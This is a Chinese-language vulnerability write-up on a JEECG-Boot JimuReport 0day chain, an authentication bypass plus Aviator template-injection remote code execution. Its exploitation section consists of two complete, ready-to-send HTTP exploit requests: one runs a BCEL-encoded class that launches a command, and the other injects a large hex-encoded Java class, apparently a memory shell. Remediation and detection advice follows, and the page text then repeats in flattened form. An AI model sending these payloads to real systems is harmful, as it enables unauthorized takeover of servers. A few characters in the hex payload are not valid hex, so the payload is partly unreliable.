jeecg-boot-0day分析
字数 1310 2025-08-24 07:48:10

JEECG-Boot 0day漏洞分析与利用教学文档

漏洞概述

JEECG-Boot是一个基于Spring Boot和Vue.js的企业级快速开发平台,其积木报表组件存在一个严重的0day漏洞组合,包括:

  1. 权限绕过漏洞:通过特定参数可绕过权限校验
  2. Aviator模板注入RCE漏洞:可导致远程代码执行
  3. 内存马注入:可通过漏洞注入内存马获取服务器权限

漏洞分析

1. 权限绕过分析

绕过机制

  • 漏洞路径:/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=
  • 绕过原理:
    • 系统对jmLink参数进行base64解码后以||分隔为数组
    • 若数组第一个元素不为空且数据库中不存在该值,则返回true实现权限绕过
    • 同样可通过sharetoken参数或JmReport-Share-Token请求头实现绕过

关键代码路径

  1. 截取contextpath后的路径/jmreport/save
  2. 进行XSS攻击判断
  3. 检查customPrePath(为空)
  4. 检查路径是否包含/jmrepory/shareview/
  5. 判断是否存在无需登录的注释
  6. token校验绕过:当token为空时抛出异常但未处理,程序继续执行

2. Aviator-SSTI-RCE实现

漏洞原理

  • 通过save接口创建报表模板,json_str字段为报告模板格式
  • show接口通过id获取数据并处理json_str中的字符串
  • ExpressUtil.a方法处理获取的json_str中的rowsstyles参数
  • 最终调用com.googlecode.aviator.Expression#exec方法进行表达式解析

利用条件

  • text值需以=开头
  • 利用Aviator模板注入漏洞执行恶意代码

漏洞触发流程

  1. 通过save接口保存恶意模板
  2. 通过showviewexportAllExcel接口触发漏洞

漏洞利用

1. 低版本JDK利用(BCEL)

POST /jeecg-boot/jmreport/save?previousPage=xxx HTTP/1.1
Host: host:port
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Accept: application/json, text/plain, */*
JmReport-Share-Token: 123456
Content-Type: application/json;charset=UTF-8
Content-Length: 1685

{
  "designerObj":{"id":"980296266425913344","name":"test","type":"datainfo"},
  "name":"sheet1",
  "rows":{
    "0":{
      "cells":{
        "0":{
          "text":"=(c=Class.forName(\"
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$A$5dP$cbN$c2$40$U$3d$D$a5$c5Z$FD$7c$r$s$ea$c6$c2$c2n$dca$dc$YLL$88$Y$n$eeK$bd$nC$da$vi$H$82$7f$a5$h5
$$
$fc$A$3f$cax$db$u$Q$t$99$fb89$e7$be$be$be$3f$3e$B$9c$e3$c0F$JU$h5le$a6na$dbBC$c0$bc$90J$eaK$81$a2$db$7c$Q0$ae$e2G$S$a8t$a5$a2$dbi4$a4d$e0$PCF$M$9aS$mp$eav$c7$fe$cc$f7B_$8d$bc$beN$a4$g$b5$9b$x$d0$5d$S$H$94$a6m$B$bb3$Ph$a2e$acR$L$3b$9c$f7$e3i$S$d0$b5$cc$aam$M$u$d5$9d$99$M$cf2$a9$D$T$96$85$5d$H$7b$d8w$60c$5d$e0$q$88$p$8f$e6$7e4$J$c9$8b$u$8a$93$t$c9$b1$af$b4$f7$a7$V$a8
$$
$h$f7$86c$K$b4$40$3d$87d$ec$dd$f4$W$D$I$d4$96$c4$fb$a9$d22$e2$Z$ec$R$e9E$d2pW$b7$f8$85$db8$86$c1g$cb$5e$B$o$9b$92m$99$b3C$f6$82$7d$a9$f5$G$f1$c2$81$c0$g$5b3$H$N$8ey$H$96d$d4$a3$5c$K$94$dfQh$bd$a2$f8$fc$8fm$c2$c95$7c$U$fe$9by$ab$ca$P$o$ZcR$b7$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()))+(c.exec(\"calc.exe\"))"
        }
      }
    }
  }
}

2. 高版本JDK利用(Spring框架链)

POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Content-Length: 18538

{
  "designerObj":{"id":"6666666","name":"test","type":"datainfo"},
  "name":"sheet1",
  "rows":{
    "0":{
      "cells":{
        "0":{
          "text":"=(use org.springframework.cglib.core.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass(\"org.apache.logging.l.KeyUtils\", Hex.decodeHex(\"cafebabe0000003401240a005a008d08008e08008f0700900800910a000400920a009300940a009300950800960a002500970800980a0059009908009a08009b08009c08009d08009e07009f0800a00700a10a005900a20700a30800a40a001200a50800a60a005900a70700a80a001b00a90b00aa00ab0800ac0a001400ad0a001200ae0a005900af0a005900b00a005900b10a005900b20700b30800b40700b50900b600b70a001200b80a00b900ba0a00b600bb0a00b900bc0700bd0800be0800bf0800c00700c10a003100c20800c30a001200c40800c50a001200c60800c70800c80800c90700ca0a003a008d0700cb0a003c00cc0700cd0a003e00ce0a003e00cf0a003a00d00a003a00d10a005900d20a00d300d40a00d300ba0a00d300d50a001200d60700d70a001200d80a004800920a001200d90a00b900da0a000400db0a00b900dc0700dd0a004f00920700de0700df0a005100e00a005200920a005900e10a005900e20a005900e30a005200e40700e50700e60100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c6501000d67657455726c5061747465726e01001428294c6a6176612f6c616e672f537472696e673b01000c676574436c6173734e616d6501000f676574426173653634537472696e6701000a457863657074696f6e730700e70100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560700e80100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a676574436f6e7465787401001428294c6a6176612f6c616e672f4f626a6563743b01000d537461636b4d61705461626c650700b30700a10700a30700e90700ea01000e676574496e746572636570746f720700bd01000e616464496e746572636570746f72010027284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f4f626a6563743b295601000c6465636f6465426173653634010016284c6a6176612f6c616e672f537472696e673b295b4201000e677a69704465636f6d7072657373010006285b42295b420700ca0700cb0700cd0100057365744656010039284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b29560100056765744656010038284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f4f626a6563743b0100046765744601003f284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b07009f0700d701000c696e766f6b654d6574686f6401005d284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0700eb0700ec0700dd0700de0100083c636c696e69743e01000a536f7572636546696c6501000d4b65795574696c732e6a6176610c005b005c0100022f2a0100356f72672e6170616368652e636f6d6d6f6e732e6c616e672e536563757269747948616e646c6572576463496e746572636570746f720100106a6176612f6c616e672f537472696e670109a0483473494141414141414141414a31582b337354787855396f346458794570495241444c62674f6b6755677957415273452b776b594275445857776e52635375342f5378576f30736753794a335a574e307961686164716b37316636534e2f7069375251536c4b51495453555072372b30482b6f58333970656d5a334c57784c7276503173372f567a737964632b2b63652b3464365a2f2f656663326745667864344765736a6d62306975366b5a63706f7a77335679355a71614a656d6b326c70564531432f62696946374b467155356c5456475337593044566d7879365947496244316a44367675385a445264327978737036566e4c4a4c3342496f566f56733143617a5a6e366e46776f6d326454437a4b547371513558355232617342614c426b65394372636f4943594a585a385a6a417874735a4276304267714a79564170764843695535555a334c53504f306e696c794a6a70574e76546970473457314e6962444e6a356773566f7876367651394b6479416a345a67594657724d795235644f47414c624764336f61474e384564794gr2b384d4949437251386e6968564c4366464769507237567a69657050544e4b425162523131694e34414673565770754150353659564f4e324e6534513246517870527530514e5a31634c354f627436324b366b5250744c7578436c3572696f74753339444d3674435a6d542f696e6965797079526874326665465a677939335a34664f4b6f554b357047474867475a4a792b4a41594f66364868774c4d756f765a38366f2f446c675662745154493372466335763962596135694b35547730564b6e6d704d71435a627641436a337a4155777145544f386b416874543435325a6e764b75434a5357476767517543647436385a5a427574704b3579584b6b73545650667148576c62795a375a32346575546641684a624437413057753456456d646c626149773679774a3534493279696d6165443647374641665251703235556b3371784b694d34354562776d4d42396133647036434e5252726c6b363455534a64327853715635335579726f4571475a4f346a65427850684e4550716a6e4d2b4e4c4c2b58346f6e74676f347845637859414b6a6b56302f39326b6a2b68576e6c78714f4262474d44704332454f4756326c4377776a5655716b7938342f4647785053524b4f4e55784638464364624d597178454f496837474b3956554e346d6f3268776a4b4c344a544c5431726777663939444133506b4330473478424c4c54624a544a4f49574c4a542b4867724a6a484e7377774d70304f59385170706a64493166494c4a4937656a4a6376575362744159743373723632534344364654346678536567434f31595a5742567071435a6e5376756b5845787a704945644a305248673475325a4e34443863544d594151534f5a5867576265334e584873644a394347466d7766414f7174536e54556466533874706f696b346330794c6d5644796c56634a7a576446516351507765756d57654c4d2b6173494b34787a6f5a504f615251337a417663753733646270554373456158655263396a4d5977465042396d71747663436a766c56566a3738725a434f5456597a65576b4b625075477665396742655663463853324e62635273506e6e47616a5a3956314a50424176476c316668367668504579766b44586d64377559394a77727242747a644b7255764571586c4f52666f6b644b56732b58696a705256346d366a705569312f4256785778583474415130695a66594f794b636d4675374a5a48555339454c364662797353766b4d7346725a65744e516432367a52522f4264664539782f3330576537335257796f614a334b7931704c524c646e627a594a75646b505036326276636a396663313177325a6368564842656c5a47477a5a342b756c54526477303671434838677235795a612b7a377436674279344c356c6634745472666239774f355a4a7368764157652f4e4d67376d4733376b36474a6432767077564f4e7245532b4f326c58354e6d537553734a534c77414175342f6371674374553945776a7278717543725374743133444f325331554a6f766e2b5752447a664a53785049706d6d2b687574682f42453177726e704375454774575a565331317a4263766f47687849447939726b5053384b7842783756786c682f416e7071516e313530316a494f5a486c302f314e7554375133684e6c4e7953697270302b514f7554732b662b6238374d4c7a6d626b512f6f70643147454164416b2f6e3279712f4849703150586e66423579506f4e386f325435334d54524537543338584e54737450666558734a5736357934454f597a786161414f316f35584f626134514937674763743375786d657443665450796f4a366d6a624a7153335975495a614d2f766b365469656a66376d4f2f636e6f3336376a384e7431354c426a7477506273584d46656c73647659307a327a3330646739396d4459716e75334a4a58786f592f4350454f4a68427a7a69627650414254364d42326c42534a486a4554584f5865744d5873502b6d2b6a3134523934362b36414c3464724f50494758752b38695347427673417444453876345868664d42614d6e75446b75423954664a3359573339394b686277336750526a784867394530383630663075527649394c5845576f4b336b4a3157307a586b6f3838743457774e3556767754536472714e62776d5356384e7461536e434c7942594561766e674458363768367a56387334625859384561666a42314563472b6750397934444a5073677558634955552b70317a397a456c77434f63546641767958375a79657a7578516a7a6635715a3135464348767678496e3975584f49586c5375307549707576494e656836635263704667643979466836694a4131676b687739544c586b4d6b6376643549704d31564e304458766f537a68766365377a4f57394a2b765454703871432f312b346f6d456e6635363877624653355536797a7037717366384d45594e636555574d525839354178664839305a2f4b2b37675567312f324d7650743274596d74684857714933412b396859646f663755397a6152384835366239536234763363476237762f595252795a694e3579514d6855587941575542766657376b78466c686e4a2f6e73764f704964776a4847654d4a586a63583671776534496e422b3969484936795a6f2b6a41414f314761546c4979324d59707a4454484c31412f693577356d5763724c505a51575a2b36444153777050344558367376754751497a5558344d36443374774a3476384550365564326344506e43723145656e6e546f6b704e6850777630386e50673373583239436b4e663363526742623879684d2f6476724351622f775869564a59575867344141413d3d\"), ClassLoader.getSystemClassLoader())"
        }
      }
    }
  }
}

修复方案

  1. 权限绕过修复

    • 在token校验的cache处进行异常处理
    • 严格校验jmLinksharetokenJmReport-Share-Token的值是否存在于数据库中
  2. Aviator模板注入修复

    • 升级Aviator到最新安全版本
    • 对用户输入的表达式进行严格过滤和校验
    • 禁用危险函数调用
  3. 其他安全建议

    • 对积木报表组件进行安全审计
    • 限制危险类的使用
    • 实施输入验证和输出编码

检测与验证

  1. 漏洞检测

    • 尝试访问/jeecg-boot/jmreport/save接口并观察权限校验行为
    • 检查Aviator组件版本是否存在已知漏洞
  2. 验证方法

    • 使用上述POC进行测试
    • 观察服务器响应和执行结果
    • 使用无害命令(如whoami)验证漏洞存在性

总结

该漏洞组合危害严重,攻击者可利用权限绕过和模板注入漏洞实现远程代码执行,进而完全控制服务器。建议用户立即采取修复措施,并对系统进行全面安全检查。

JEECG-Boot 0day漏洞分析与利用教学文档 漏洞概述 JEECG-Boot是一个基于Spring Boot和Vue.js的企业级快速开发平台,其积木报表组件存在一个严重的0day漏洞组合,包括: 权限绕过漏洞 :通过特定参数可绕过权限校验 Aviator模板注入RCE漏洞 :可导致远程代码执行 内存马注入 :可通过漏洞注入内存马获取服务器权限 漏洞分析 1. 权限绕过分析 绕过机制 漏洞路径: /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI= 绕过原理: 系统对 jmLink 参数进行base64解码后以 || 分隔为数组 若数组第一个元素不为空且数据库中不存在该值,则返回true实现权限绕过 同样可通过 sharetoken 参数或 JmReport-Share-Token 请求头实现绕过 关键代码路径 截取contextpath后的路径 /jmreport/save 进行XSS攻击判断 检查 customPrePath (为空) 检查路径是否包含 /jmrepory/shareview/ 判断是否存在无需登录的注释 token校验绕过:当token为空时抛出异常但未处理,程序继续执行 2. Aviator-SSTI-RCE实现 漏洞原理 通过 save 接口创建报表模板, json_str 字段为报告模板格式 show 接口通过id获取数据并处理 json_str 中的字符串 ExpressUtil.a 方法处理获取的 json_str 中的 rows 和 styles 参数 最终调用 com.googlecode.aviator.Expression#exec 方法进行表达式解析 利用条件 text 值需以 = 开头 利用Aviator模板注入漏洞执行恶意代码 漏洞触发流程 通过 save 接口保存恶意模板 通过 show 或 view 或 exportAllExcel 接口触发漏洞 漏洞利用 1. 低版本JDK利用(BCEL) 2. 高版本JDK利用(Spring框架链) 修复方案 权限绕过修复 : 在token校验的cache处进行异常处理 严格校验 jmLink 、 sharetoken 和 JmReport-Share-Token 的值是否存在于数据库中 Aviator模板注入修复 : 升级Aviator到最新安全版本 对用户输入的表达式进行严格过滤和校验 禁用危险函数调用 其他安全建议 : 对积木报表组件进行安全审计 限制危险类的使用 实施输入验证和输出编码 检测与验证 漏洞检测 : 尝试访问 /jeecg-boot/jmreport/save 接口并观察权限校验行为 检查Aviator组件版本是否存在已知漏洞 验证方法 : 使用上述POC进行测试 观察服务器响应和执行结果 使用无害命令(如 whoami )验证漏洞存在性 总结 该漏洞组合危害严重,攻击者可利用权限绕过和模板注入漏洞实现远程代码执行,进而完全控制服务器。建议用户立即采取修复措施,并对系统进行全面安全检查。